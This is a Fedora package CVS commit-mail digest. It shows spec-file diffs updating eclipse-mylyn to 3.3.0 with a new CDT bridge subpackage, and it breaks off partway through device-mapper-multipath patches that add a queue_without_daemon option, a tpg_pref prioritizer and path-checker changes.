-%define qualifier           v20090722-0200-e3x
+# http://download.eclipse.org/tools/mylyn/update/e3.5/
+%define qualifier           v20091015-0500-e3x
 
 # Prevent brp-java-repack-jars from being run.  Spaces in the paths of
 # the help content are broken by it.
@@ -10,15 +10,14 @@
 
 Name: eclipse-mylyn
 Summary: Mylyn is a task-focused UI for Eclipse
-Version: 3.2.1
-Release: 2%{?dist}
+Version: 3.3.0
+Release: 1%{?dist}
 License: EPL
 URL: http://www.eclipse.org/mylyn
 
 # mkdir temp && cd temp
 # sh fetch-mylyn.sh
-# tar cjf org.eclipse.mylyn-R_3_2_1-fetched-src.tar.bz2 org.eclipse.mylyn
-Source0: org.eclipse.mylyn-R_3_2_1-fetched-src.tar.bz2
+Source0: org.eclipse.mylyn-R_3_3_0-fetched-src.tar.bz2
 Source1: fetch-mylyn.sh
 Source2: http://overholt.fedorapeople.org/fedoraeclipse-mylynbugzilla-0.0.3.zip
 
@@ -42,10 +41,7 @@ BuildRequires:    java-devel >= 1.5.0
 BuildArch: noarch
 
 BuildRequires: eclipse-pde >= 1:3.4.0
-BuildRequires: eclipse-cvs-client >= 1:3.4.0
-BuildRequires: jakarta-commons-codec >= 1.3-9
-BuildRequires: jakarta-commons-httpclient >= 1:3.1-0.3
-BuildRequires: jakarta-commons-logging >= 1.0.4-7.7
+BuildRequires: eclipse-cdt
 BuildRequires: jakarta-commons-lang >= 2.3-2.3
 BuildRequires: ws-commons-util >= 1.0.1-5
 BuildRequires: xmlrpc3-client >= 3.0-2.8
@@ -54,10 +50,6 @@ BuildRequires: ws-jaxme >= 0.5.1-2.4
 BuildRequires: rome
 BuildRequires: jdom >= 1.0-5.5
 Requires: eclipse-platform >= 1:3.4.0
-Requires: eclipse-cvs-client >= 1:3.4.0
-Requires: jakarta-commons-codec >= 1.3-9
-Requires: jakarta-commons-httpclient >= 1:3.1-0.3
-Requires: jakarta-commons-logging >= 1.0.4-7.7
 Requires: jakarta-commons-lang >= 2.3-2.3
 Requires: ws-commons-util >= 1.0.1-5
 Requires: xmlrpc3-client >= 3.0-2.8
@@ -132,6 +124,16 @@ Group: Development/Tools
 Enables parsing and display of lightweight markup (wiki text).  Extends
 the Mylyn task editor to create a markup-aware editor.
 
+%package  cdt
+Summary:  Mylyn Bridge:  C/C++ Development
+Requires: %{name} = %{version}-%{release}
+Requires: eclipse-cdt
+Group: Development/Tools
+
+%description cdt
+Mylyn Task-Focused UI extensions for cDT.  Provides focusing of C/C++
+element views and editors.
+
 %prep
 %setup -q -n org.eclipse.mylyn
 unzip -q %{SOURCE2}
@@ -141,11 +143,8 @@ rm -rf *tests*
 
 mkdir orbitDeps
 pushd orbitDeps
-ln -s %{_javadir}/commons-codec-1.3.jar org.apache.commons.codec_1.3.0.jar
-ln -s %{_javadir}/commons-httpclient.jar org.apache.commons.httpclient_3.1.0.jar
 ln -s %{_javadir}/commons-lang.jar org.apache.commons.lang_2.3.0.jar
 ln -s %{_javadir}/commons-logging-api.jar org.apache.commons.logging.api_1.0.4.jar
-ln -s %{_javadir}/commons-logging.jar org.apache.commons.logging_1.0.4.jar
 ln -s %{_javadir}/xmlrpc3-client-3.0.jar org.apache.xmlrpc.client_3.0.0.v20080530-1550.jar
 ln -s %{_javadir}/xmlrpc3-common-3.0.jar org.apache.xmlrpc.common_3.0.0.v20080530-1550.jar
 ln -s %{_javadir}/ws-commons-util-1.0.1.jar org.apache.ws.commons.util_1.0.0.v20080530-1550.jar
@@ -218,6 +217,10 @@ find -name feature.xml |
  -a "-DjavacSource=1.5 -DjavacTarget=1.5 -DforceContextQualifier=%{qualifier} -DmylynQualifier=%{qualifier}" \
  -j -DJ2SE-1.5=%{_jvmdir}/java/jre/lib/rt.jar \
  -o `pwd`/orbitDeps
+%{eclipse_base}/buildscripts/pdebuild -f org.eclipse.cdt.mylyn \
+ -a "-DjavacSource=1.5 -DjavacTarget=1.5 -DforceContextQualifier=%{qualifier} -DmylynQualifier=%{qualifier}" \
+ -j -DJ2SE-1.5=%{_jvmdir}/java/jre/lib/rt.jar \
+ -o `pwd`/orbitDeps -d "cdt"
 
 %install
 rm -rf %{buildroot}
@@ -249,17 +252,16 @@ unzip -q -o -d $RPM_BUILD_ROOT%{install_
  build/rpmBuild/org.eclipse.mylyn.web.tasks_feature.zip
 unzip -q -o -d $RPM_BUILD_ROOT%{install_loc}/mylyn-wikitext \
  build/rpmBuild/org.eclipse.mylyn.wikitext_feature.zip
+unzip -q -o -d $RPM_BUILD_ROOT%{install_loc}/mylyn-cdt \
+ build/rpmBuild/org.eclipse.cdt.mylyn.zip
 
 pushd $RPM_BUILD_ROOT%{install_loc}/mylyn/eclipse/plugins
 rm org.apache.commons.codec_1.3.0.v20080530-1600.jar
 rm org.apache.commons.httpclient_3.1.0.v20080605-1935.jar
 rm org.apache.commons.lang_2.3.0.v200803061910.jar
 rm org.apache.commons.logging_1.0.4.v20080605-1930.jar
-ln -s %{_javadir}/commons-codec-1.3.jar org.apache.commons.codec_1.3.0.jar
-ln -s %{_javadir}/commons-httpclient.jar org.apache.commons.httpclient_3.1.0.jar
 ln -s %{_javadir}/commons-lang.jar org.apache.commons.lang_2.3.0.jar
 ln -s %{_javadir}/commons-logging-api.jar org.apache.commons.logging.api_1.0.4.jar
-ln -s %{_javadir}/commons-logging.jar org.apache.commons.logging_1.0.4.jar
 popd
 
 pushd $RPM_BUILD_ROOT%{install_loc}/mylyn-trac/eclipse/plugins
@@ -323,12 +325,21 @@ rm -rf %{buildroot}
 #%doc %{install_loc}/features/org.eclipse.mylyn.pde_feature_*/epl-v10.html
 #%doc %{install_loc}/features/org.eclipse.mylyn.pde_feature_*/about.html
 
+%files cdt
+%defattr(-,root,root,-)
+%{install_loc}/mylyn-cdt
+
 %files
 %defattr(-,root,root,-)
 %{install_loc}/mylyn
 # FIXME:  add the doc files back
 
 %changelog
+* Tue Oct 27 2009 Alexander Kurtakov <akurtako at redhat.com> 3.3.0-1
+- Update to 3.3.0.
+- Add cdt bridge.
+- Remove BR/R which are required by eclipse itself now.
+
 * Tue Sep 22 2009 Alexander Kurtakov <akurtako at redhat.com> 3.2.1-2
 - Add patch for correct building of o.e.wikitext.help.ui.
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-mylyn/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	4 Aug 2009 13:46:22 -0000	1.10
+++ .cvsignore	27 Oct 2009 09:25:54 -0000	1.11
@@ -1,3 +1,4 @@
 fedoraeclipse-mylynbugzilla-0.0.3.zip
 org.eclipse.mylyn-R_3_1_1-fetched-src.tar.bz2
 org.eclipse.mylyn-R_3_2_1-fetched-src.tar.bz2
+org.eclipse.mylyn-R_3_3_0-fetched-src.tar.bz2

eclipse-mylyn-wikitext_builddoc.patch:
 MANIFEST.MF |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

Index: eclipse-mylyn-wikitext_builddoc.patch
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-mylyn/devel/eclipse-mylyn-wikitext_builddoc.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- eclipse-mylyn-wikitext_builddoc.patch	22 Sep 2009 11:29:18 -0000	1.2
+++ eclipse-mylyn-wikitext_builddoc.patch	27 Oct 2009 09:25:54 -0000	1.3
@@ -1,9 +1,9 @@
---- org.eclipse.mylyn.wikitext.help.ui/META-INF/MANIFEST.MF.sav	2009-06-27 23:09:32.000000000 +0300
-+++ org.eclipse.mylyn.wikitext.help.ui/META-INF/MANIFEST.MF	2009-09-22 14:07:05.676264614 +0300
-@@ -6,5 +6,7 @@ Bundle-Version: 1.1.1.qualifier
+--- org.eclipse.mylyn.wikitext.help.ui/META-INF/MANIFEST.MF.orig	2009-08-13 22:57:10.000000000 +0300
++++ org.eclipse.mylyn.wikitext.help.ui/META-INF/MANIFEST.MF	2009-10-26 14:00:23.969824099 +0200
+@@ -4,5 +4,7 @@ Bundle-Name: %Bundle-Name.0
+ Bundle-SymbolicName: org.eclipse.mylyn.wikitext.help.ui;singleton:=true
+ Bundle-Version: 1.2.0.qualifier
  Bundle-Vendor: %Bundle-Vendor.0
- Bundle-RequiredExecutionEnvironment: J2SE-1.5
- Bundle-ActivationPolicy: lazy
 -Require-Bundle: org.eclipse.help
 +Require-Bundle: org.eclipse.help,
 +      org.eclipse.mylyn.wikitext.core,

eclipse-mylyn-addfedoracustomizations.patch:
 feature.xml |    7 +++++++
 1 file changed, 7 insertions(+)

Index: eclipse-mylyn-addfedoracustomizations.patch
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-mylyn/devel/eclipse-mylyn-addfedoracustomizations.patch,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- eclipse-mylyn-addfedoracustomizations.patch	4 Aug 2009 13:46:22 -0000	1.9
+++ eclipse-mylyn-addfedoracustomizations.patch	27 Oct 2009 09:25:54 -0000	1.10
@@ -8,7 +8,7 @@ diff -u -r1.386.2.1 feature.xml
 --- feature.xml	11 Apr 2009 02:13:56 -0000	1.386.2.1
 +++ feature.xml	22 Apr 2009 14:16:52 -0000
 @@ -55,4 +55,11 @@
-          version="3.2.1.qualifier"
+          version="3.3.0.qualifier"
           unpack="false"/>
  
 +   <plugin


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-mylyn/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	4 Aug 2009 13:46:22 -0000	1.13
+++ sources	27 Oct 2009 09:25:54 -0000	1.14
@@ -1,2 +1,2 @@
 ccf62375bb3dfe3d0d3bab4323765c5f  fedoraeclipse-mylynbugzilla-0.0.3.zip
-729610b5594f067112ca8d87539ea77b  org.eclipse.mylyn-R_3_2_1-fetched-src.tar.bz2
+7aea92d0c52b84556723afbaafeb4837  org.eclipse.mylyn-R_3_3_0-fetched-src.tar.bz2



From fabbione at fedoraproject.org  Tue Oct 27 09:59:00 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Tue, 27 Oct 2009 09:59:00 +0000 (UTC)
Subject: rpms/device-mapper-multipath/devel
	0001-RH-queue-without-daemon.patch, 
	NONE, 1.1 0001-for-upstream-add-tpg_pref-prioritizer.patch, NONE,
	1.1 0002-RH-path-checker.patch, NONE,
	1.1 0003-RH-root-init-script.patch, NONE,
	1.1 0004-RH-fix-kpartx.patch, NONE, 1.1 0005-RH-cciss_id.patch,
	NONE, 1.1 0006-RH-move-bindings.patch, NONE,
	1.1 0007-RH-do-not-remove.patch, NONE,
	1.1 0008-RH-Make-build-system-RH-Fedora-friendly.patch, NONE,
	1.1 0009-RH-multipathd-blacklist-all-by-default.patch, NONE,
	1.1 0010-RH-multipath-rules-udev-changes.patch, NONE,
	1.1 0011-RH-fix-init-script-LSB-headers.patch, NONE,
	1.1 0012-RH-explicitly-disable-dm-udev-sync-support-in-kpartx.patch, 
	NONE, 1.1 import.log, NONE, 1.1 multipath.conf.redhat, NONE,
	1.1 .cvsignore, 1.18, 1.19 device-mapper-multipath.spec, 1.62,
	1.63 sources, 1.19, 1.20 bindings_file.patch, 1.1,
	NONE cciss_id.patch, 1.2, NONE directio_message_cleanup.patch,
	1.3, NONE dont_remove.patch, 1.1, NONE fix_kpartx.patch, 1.2,
	NONE fix_missed_uevs.patch, 1.1, NONE log_all_messages.patch,
	1.1, NONE move_bindings.patch, 1.1, NONE mpath_wait.patch, 1.3,
	NONE multipath_rules.patch, 1.4, NONE path_checker.patch, 1.1,
	NONE queue_without_daemon.patch, 1.1, NONE redhatification.patch,
	1.5, NONE root_init_script.patch, 1.1, NONE select_lib.patch,
	1.1, NONE stop_warnings.patch, 1.1, NONE udev_change.patch, 1.1,
	NONE uninstall.patch, 1.1, NONE
Message-ID: <20091027095900.4611411C00E6@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/device-mapper-multipath/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5567/devel

Modified Files:
	.cvsignore device-mapper-multipath.spec sources 
Added Files:
	0001-RH-queue-without-daemon.patch 
	0001-for-upstream-add-tpg_pref-prioritizer.patch 
	0002-RH-path-checker.patch 0003-RH-root-init-script.patch 
	0004-RH-fix-kpartx.patch 0005-RH-cciss_id.patch 
	0006-RH-move-bindings.patch 0007-RH-do-not-remove.patch 
	0008-RH-Make-build-system-RH-Fedora-friendly.patch 
	0009-RH-multipathd-blacklist-all-by-default.patch 
	0010-RH-multipath-rules-udev-changes.patch 
	0011-RH-fix-init-script-LSB-headers.patch 
	0012-RH-explicitly-disable-dm-udev-sync-support-in-kpartx.patch 
	import.log multipath.conf.redhat 
Removed Files:
	bindings_file.patch cciss_id.patch 
	directio_message_cleanup.patch dont_remove.patch 
	fix_kpartx.patch fix_missed_uevs.patch log_all_messages.patch 
	move_bindings.patch mpath_wait.patch multipath_rules.patch 
	path_checker.patch queue_without_daemon.patch 
	redhatification.patch root_init_script.patch select_lib.patch 
	stop_warnings.patch udev_change.patch uninstall.patch 
Log Message:
Revamp package a bit


0001-RH-queue-without-daemon.patch:
 libmultipath/config.h    |    1 +
 libmultipath/dict.c      |   35 +++++++++++++++++++++++++++++++++++
 libmultipath/structs.h   |    6 ++++++
 multipath.conf.annotated |    9 +++++++++
 multipath.conf.synthetic |    1 +
 multipathd/main.c        |    6 +++++-
 6 files changed, 57 insertions(+), 1 deletion(-)

--- NEW FILE 0001-RH-queue-without-daemon.patch ---
>From 8191fb07d8212e29ad44370abb60e174e1c34bb5 Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Tue, 13 Oct 2009 08:15:15 +0200
Subject: [PATCH 01/12] RH: queue without daemon

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 50a728c... 86b1320... M	libmultipath/config.h
:100644 100644 ee4de68... 7888e8e... M	libmultipath/dict.c
:100644 100644 afd1246... 2e7a0d1... M	libmultipath/structs.h
:100644 100644 c222da4... 9afa615... M	multipath.conf.annotated
:100644 100644 3e0fd6e... 44d1329... M	multipath.conf.synthetic
:100644 100644 41a9bd0... 90de6df... M	multipathd/main.c
 libmultipath/config.h    |    1 +
 libmultipath/dict.c      |   35 +++++++++++++++++++++++++++++++++++
 libmultipath/structs.h   |    6 ++++++
 multipath.conf.annotated |    9 +++++++++
 multipath.conf.synthetic |    1 +
 multipathd/main.c        |    5 +++++
 6 files changed, 57 insertions(+), 0 deletions(-)

diff --git a/libmultipath/config.h b/libmultipath/config.h
index 50a728c..86b1320 100644
--- a/libmultipath/config.h
+++ b/libmultipath/config.h
@@ -72,6 +72,7 @@ struct config {
 	int pg_timeout;
 	int max_fds;
 	int force_reload;
+	int queue_without_daemon;
 	int daemon;
 	int flush_on_last_del;
 	int attribute_flags;
diff --git a/libmultipath/dict.c b/libmultipath/dict.c
index ee4de68..7888e8e 100644
--- a/libmultipath/dict.c
+++ b/libmultipath/dict.c
@@ -333,6 +333,28 @@ def_no_path_retry_handler(vector strvec)
 }
 
 static int
+def_queue_without_daemon(vector strvec)
+{
+	char * buff;
+
+	buff = set_value(strvec);
+	if (!buff)
+		return 1;
+
+	if (!strncmp(buff, "off", 3) || !strncmp(buff, "no", 2) ||
+	    !strncmp(buff, "0", 1))
+		conf->queue_without_daemon = QUE_NO_DAEMON_OFF;
+	else if (!strncmp(buff, "on", 2) || !strncmp(buff, "yes", 3) ||
+		 !strncmp(buff, "1", 1))
+		conf->queue_without_daemon = QUE_NO_DAEMON_ON;
+	else
+		conf->queue_without_daemon = QUE_NO_DAEMON_UNDEF;
+
+	free(buff);
+	return 0;
+}
+
+static int
 def_pg_timeout_handler(vector strvec)
 {
 	int pg_timeout;
@@ -1846,6 +1868,18 @@ snprint_def_no_path_retry (char * buff, int len, void * data)
 }
 
 static int
+snprint_def_queue_without_daemon (char * buff, int len, void * data)
+{
+	switch (conf->queue_without_daemon) {
+	case QUE_NO_DAEMON_OFF:
+		return snprintf(buff, len, "no");
+	case QUE_NO_DAEMON_ON:
+		return snprintf(buff, len, "yes");
+	}
+	return 0;
+}
+
+static int
 snprint_def_pg_timeout (char * buff, int len, void * data)
 {
 	if (conf->pg_timeout == DEFAULT_PGTIMEOUT)
@@ -1931,6 +1965,7 @@ init_keywords(void)
 	install_keyword("max_fds", &max_fds_handler, &snprint_max_fds);
 	install_keyword("rr_weight", &def_weight_handler, &snprint_def_rr_weight);
 	install_keyword("no_path_retry", &def_no_path_retry_handler, &snprint_def_no_path_retry);
+	install_keyword("queue_without_daemon", &def_queue_without_daemon, &snprint_def_queue_without_daemon);
 	install_keyword("pg_timeout", &def_pg_timeout_handler, &snprint_def_pg_timeout);
 	install_keyword("flush_on_last_del", &def_flush_on_last_del_handler, &snprint_def_flush_on_last_del);
 	install_keyword("user_friendly_names", &names_handler, &snprint_def_user_friendly_names);
diff --git a/libmultipath/structs.h b/libmultipath/structs.h
index afd1246..2e7a0d1 100644
--- a/libmultipath/structs.h
+++ b/libmultipath/structs.h
@@ -63,6 +63,12 @@ enum pgstates {
 	PGSTATE_ACTIVE
 };
 
+enum queue_without_daemon_states {
+	QUE_NO_DAEMON_UNDEF,
+	QUE_NO_DAEMON_OFF,
+	QUE_NO_DAEMON_ON,
+};
+
 enum pgtimeouts {
 	PGTIMEOUT_UNDEF,
 	PGTIMEOUT_NONE
diff --git a/multipath.conf.annotated b/multipath.conf.annotated
index c222da4..9afa615 100644
--- a/multipath.conf.annotated
+++ b/multipath.conf.annotated
@@ -153,6 +153,15 @@
 #	no_path_retry  queue
 #
 #	#
+#	# name    : queue_without_daemon
+#	# scope   : multipathd
+#	# desc    : If set to "no", multipathd will disable queueing for all
+#	#           devices when it is shut down.
+#	# values  : yes|no
+#	# default : yes
+#	queue_without_daemon	no
+#
+#	#
 #	# name    : user_friendly_names
 #	# scope   : multipath
 #	# desc    : If set to "yes", using the bindings file
diff --git a/multipath.conf.synthetic b/multipath.conf.synthetic
index 3e0fd6e..44d1329 100644
--- a/multipath.conf.synthetic
+++ b/multipath.conf.synthetic
@@ -16,6 +16,7 @@
 #	rr_weight		priorities
 #	failback		immediate
 #	no_path_retry		fail
+#	queue_without_daemon    no
 #	user_friendly_names	no
 #	mode			644
 #	uid			0
diff --git a/multipathd/main.c b/multipathd/main.c
index 41a9bd0..90de6df 100644
--- a/multipathd/main.c
+++ b/multipathd/main.c
@@ -1334,6 +1334,8 @@ child (void * param)
 	pthread_t check_thr, uevent_thr, uxlsnr_thr;
 	pthread_attr_t log_attr, misc_attr;
 	struct vectors * vecs;
+	struct multipath * mpp;
+	int i;
 
 	mlockall(MCL_CURRENT | MCL_FUTURE);
 
@@ -1422,6 +1424,9 @@ child (void * param)
 	 */
 	block_signal(SIGHUP, NULL);
 	lock(vecs->lock);
+	if (conf->queue_without_daemon == QUE_NO_DAEMON_OFF)
+		vector_foreach_slot(vecs->mpvec, mpp, i)
+			dm_queue_if_no_path(mpp->alias, 0);
 	remove_maps_and_stop_waiters(vecs);
 	free_pathvec(vecs->pathvec, FREE_PATHS);
 
-- 
1.6.5.1


0001-for-upstream-add-tpg_pref-prioritizer.patch:
 prio.h                   |    1 +
 prioritizers/Makefile    |   10 ++++++++++
 prioritizers/alua.c      |    7 +++++++
 prioritizers/alua_rtpg.c |    4 ++++
 prioritizers/alua_spc3.h |    7 ++++++-
 5 files changed, 28 insertions(+), 1 deletion(-)

--- NEW FILE 0001-for-upstream-add-tpg_pref-prioritizer.patch ---
>From faf6bfc96b98562626e0ea12aecb582032ff4cab Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Mon, 19 Oct 2009 07:02:02 +0200
Subject: [PATCH 1/1] for-upstream: add tpg_pref prioritizer

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 fc9277f... 1f40859... M	libmultipath/prio.h
:100644 100644 949a60a... 5021c04... M	libmultipath/prioritizers/Makefile
:100644 100644 0048a44... 22513ab... M	libmultipath/prioritizers/alua.c
:100644 100644 0531052... cd9c29d... M	libmultipath/prioritizers/alua_rtpg.c
:100644 100644 bddbbdd... daf95a6... M	libmultipath/prioritizers/alua_spc3.h
 libmultipath/prio.h                   |    1 +
 libmultipath/prioritizers/Makefile    |   10 ++++++++++
 libmultipath/prioritizers/alua.c      |    7 +++++++
 libmultipath/prioritizers/alua_rtpg.c |    4 ++++
 libmultipath/prioritizers/alua_spc3.h |    6 ++++++
 5 files changed, 28 insertions(+), 0 deletions(-)

diff --git a/libmultipath/prio.h b/libmultipath/prio.h
index fc9277f..1f40859 100644
--- a/libmultipath/prio.h
+++ b/libmultipath/prio.h
@@ -16,6 +16,7 @@
  * Known prioritizers for use in hwtable.c
  */
 #define PRIO_ALUA "alua"
+#define PRIO_TPG_PREF "tpg_pref"
 #define PRIO_CONST "const"
 #define PRIO_EMC "emc"
 #define PRIO_HDS "hds"
diff --git a/libmultipath/prioritizers/Makefile b/libmultipath/prioritizers/Makefile
index 949a60a..5021c04 100644
--- a/libmultipath/prioritizers/Makefile
+++ b/libmultipath/prioritizers/Makefile
@@ -11,6 +11,7 @@ LIBS = \
 	libprioemc.so \
 	libpriordac.so \
 	libprioalua.so \
+	libpriotpg_pref.so \
 	libprionetapp.so \
 	libpriohds.so
 
@@ -21,9 +22,18 @@ all: $(LIBS)
 libprioalua.so: alua.o alua_rtpg.o
 	$(CC) $(SHARED_FLAGS) -o $@ $^
 
+libpriotpg_pref.so: pref.o pref_rtpg.o
+	$(CC) $(SHARED_FLAGS) -o $@ $^
+
 libprio%.so: %.o
 	$(CC) $(SHARED_FLAGS) -o $@ $^
 
+pref.o: alua.c
+	$(CC) $(CFLAGS) -DTPG_PREF -c -o $@ $<
+
+pref_rtpg.o: alua_rtpg.c
+	$(CC) $(CFLAGS) -DTPG_PREF -c -o $@ $<
+
 install: $(LIBS)
 	$(INSTALL_PROGRAM) -m 755 libprio*.so $(DESTDIR)$(libdir)
 
diff --git a/libmultipath/prioritizers/alua.c b/libmultipath/prioritizers/alua.c
index 0048a44..22513ab 100644
--- a/libmultipath/prioritizers/alua.c
+++ b/libmultipath/prioritizers/alua.c
@@ -28,6 +28,12 @@
 int
 get_alua_info(int fd)
 {
+#ifdef TPG_PREF
+	char * aas_string[] = {
+		[AAS_OPTIMIZED]		= "preferred",
+		[AAS_STANDBY]		= "non-preferred",
+	};
+#else
 	char *	aas_string[] = {
 		[AAS_OPTIMIZED]		= "active/optimized",
 		[AAS_NON_OPTIMIZED]	= "active/non-optimized",
@@ -35,6 +41,7 @@ get_alua_info(int fd)
 		[AAS_UNAVAILABLE]	= "unavailable",
 		[AAS_TRANSITIONING]	= "transitioning between states",
 	};
+#endif
 	int	rc;
 	int	tpg;
 
diff --git a/libmultipath/prioritizers/alua_rtpg.c b/libmultipath/prioritizers/alua_rtpg.c
index 0531052..cd9c29d 100644
--- a/libmultipath/prioritizers/alua_rtpg.c
+++ b/libmultipath/prioritizers/alua_rtpg.c
@@ -293,7 +293,11 @@ get_asymmetric_access_state(int fd, unsigned int tpg)
 					"group.\n");
 			} else {
 				PRINT_DEBUG("pref=%i\n", dscr->b0);
+#ifdef TPG_PREF
+				rc = rtpg_tpg_dscr_get_pref(dscr);
+#else
 				rc = rtpg_tpg_dscr_get_aas(dscr);
+#endif
 			}
 		}
 	}
diff --git a/libmultipath/prioritizers/alua_spc3.h b/libmultipath/prioritizers/alua_spc3.h
index bddbbdd..daf95a6 100644
--- a/libmultipath/prioritizers/alua_spc3.h
+++ b/libmultipath/prioritizers/alua_spc3.h
@@ -302,6 +302,12 @@ rtpg_tpg_dscr_get_aas(struct rtpg_tpg_dscr *d)
 	return (d->b0 & 0x0f);
 }
 
+static inline int
+rtpg_tpg_dscr_get_pref(struct rtpg_tpg_dscr *d)
+{
+	return ((d->b0 & 0x80)?AAS_OPTIMIZED:AAS_STANDBY);
+}
+
 struct rtpg_data {
 	unsigned char			length[4];		/* size-4 */
 	struct rtpg_tpg_dscr		data[0];
-- 
1.6.5.1


0002-RH-path-checker.patch:
 libmultipath/checkers/tur.c |    1 
 libmultipath/discovery.c    |   62 ++++++++++++++++++++++++++++++++++----------
 libmultipath/discovery.h    |    2 +
 multipathd/main.c           |   22 +--------------
 4 files changed, 52 insertions(+), 35 deletions(-)

--- NEW FILE 0002-RH-path-checker.patch ---
>From f9ddbc18b7580f75c15bf6f3e10f08d6f016caca Mon Sep 17 00:00:00 2001
From: Fabio M. Di Nitto <fdinitto at redhat.com>
Date: Tue, 13 Oct 2009 08:18:00 +0200
Subject: [PATCH 02/12] RH: path checker

Signed-off-by: Fabio M. Di Nitto <fdinitto at redhat.com>
---
:100644 100644 e06dc52... 47107a2... M	libmultipath/checkers/tur.c
:100644 100644 98d1618... 00aa5ea... M	libmultipath/discovery.c
:100644 100644 7283f36... 17cd4af... M	libmultipath/discovery.h
:100644 100644 90de6df... 5d3625a... M	multipathd/main.c
 libmultipath/checkers/tur.c |    1 -
 libmultipath/discovery.c    |   62 +++++++++++++++++++++++++++++++++---------
 libmultipath/discovery.h    |    2 +
 multipathd/main.c           |   21 +-------------
 4 files changed, 52 insertions(+), 34 deletions(-)

diff --git a/libmultipath/checkers/tur.c b/libmultipath/checkers/tur.c
index e06dc52..47107a2 100644
--- a/libmultipath/checkers/tur.c
+++ b/libmultipath/checkers/tur.c
@@ -69,7 +69,6 @@ libcheck_check (struct checker * c)
 		case DID_NO_CONNECT:
 		case DID_BAD_TARGET:
 		case DID_ABORT:
-		case DID_TRANSPORT_DISRUPTED:
 		case DID_TRANSPORT_FAILFAST:
 			break;
 		default:
diff --git a/libmultipath/discovery.c b/libmultipath/discovery.c
index 98d1618..00aa5ea 100644
--- a/libmultipath/discovery.c
+++ b/libmultipath/discovery.c
@@ -579,10 +579,9 @@ struct sysfs_device *sysfs_device_from_path(struct path *pp)
 }
 
 int
-path_offline (struct path * pp)
+path_state (struct path * pp, char * buff)
 {
 	struct sysfs_device * parent;
-	char buff[SCSI_STATE_SIZE];
 
 	pp->sysdev = sysfs_device_from_path(pp);
 	if (!pp->sysdev) {
@@ -604,6 +603,16 @@ path_offline (struct path * pp)
 		return 1;
 
 	condlog(3, "%s: state = %s", pp->dev, buff);
+	return 0;
+}
+
+int
+path_offline (struct path * pp)
+{
+	char buff[SCSI_STATE_SIZE];
+
+	if (path_state(pp, buff))
+		return 1;
 
 	if (!strncmp(buff, "offline", 7)) {
 		pp->offline = 1;
@@ -613,6 +622,21 @@ path_offline (struct path * pp)
 	return 0;
 }
 
+int
+path_blocked (struct path * pp)
+{
+	char buff[SCSI_STATE_SIZE];
+
+	if (pp->bus != SYSFS_BUS_SCSI)
+		return 0;
+	if (path_state(pp, buff))
+		return 0;
+	if (!strncmp(buff, "blocked", 7)) {
+		return 1;
+	}
+	return 0;
+}
+
 extern int
 sysfs_pathinfo(struct path * pp)
 {
@@ -699,36 +723,43 @@ cciss_ioctl_pathinfo (struct path * pp, int mask)
 	return 0;
 }
 
-static int
-get_state (struct path * pp)
+int
+get_state (struct path * pp, int daemon)
 {
 	struct checker * c = &pp->checker;
+	int state;
 
 	condlog(3, "%s: get_state", pp->dev);
 
 	if (!checker_selected(c)) {
+		if (daemon)
+			pathinfo(pp, conf->hwtable, DI_SYSFS);
 		select_checker(pp);
 		if (!checker_selected(c)) {
 			condlog(3, "%s: No checker selected", pp->dev);
-			return 1;
+			return PATH_UNCHECKED;
 		}
 		checker_set_fd(c, pp->fd);
 		if (checker_init(c, pp->mpp?&pp->mpp->mpcontext:NULL)) {
 			condlog(3, "%s: checker init failed", pp->dev);
-			return 1;
+			return PATH_UNCHECKED;
 		}
 	}
 	if (path_offline(pp)) {
 		condlog(3, "%s: path offline", pp->dev);
-		pp->state = PATH_DOWN;
-		return 0;
+		return PATH_DOWN;
+	}
+	if (daemon) {
+		if (path_blocked(pp))
+			return PATH_PENDING;
+		checker_set_async(c);
 	}
-	pp->state = checker_check(c);
-	condlog(3, "%s: state = %i", pp->dev, pp->state);
-	if (pp->state == PATH_DOWN && strlen(checker_message(c)))
+	state = checker_check(c);
+	condlog(3, "%s: state = %i", pp->dev, state);
+	if (state == PATH_DOWN && strlen(checker_message(c)))
 		condlog(3, "%s: checker msg is \"%s\"",
 			pp->dev, checker_message(c));
-	return 0;
+	return state;
 }
 
 static int
@@ -813,8 +844,11 @@ pathinfo (struct path *pp, vector hwtable, int mask)
 	    cciss_ioctl_pathinfo(pp, mask))
 		goto blank;
 
-	if (mask & DI_CHECKER && get_state(pp))
-		goto blank;
+	if (mask & DI_CHECKER) {
+		pp->state = get_state(pp, 0);
+		if (pp->state == PATH_UNCHECKED || pp->state == PATH_WILD)
+			goto blank;
+	}
 
 	 /*
 	  * Retrieve path priority, even for PATH_DOWN paths if it has never
diff --git a/libmultipath/discovery.h b/libmultipath/discovery.h
index 7283f36..17cd4af 100644
--- a/libmultipath/discovery.h
+++ b/libmultipath/discovery.h
@@ -30,6 +30,8 @@ int path_discovery (vector pathvec, struct config * conf, int flag);
 int do_tur (char *);
 int devt2devname (char *, char *);
 int path_offline (struct path *);
+int get_state (struct path * pp, int daemon);
+int path_blocked (struct path *);
 int pathinfo (struct path *, vector hwtable, int mask);
 struct path * store_pathinfo (vector pathvec, vector hwtable,
 			      char * devname, int flag);
diff --git a/multipathd/main.c b/multipathd/main.c
index 90de6df..5d3625a 100644
--- a/multipathd/main.c
+++ b/multipathd/main.c
@@ -908,26 +908,9 @@ check_path (struct vectors * vecs, struct path * pp)
 	 */
 	pp->tick = conf->checkint;
 
-	if (!checker_selected(&pp->checker)) {
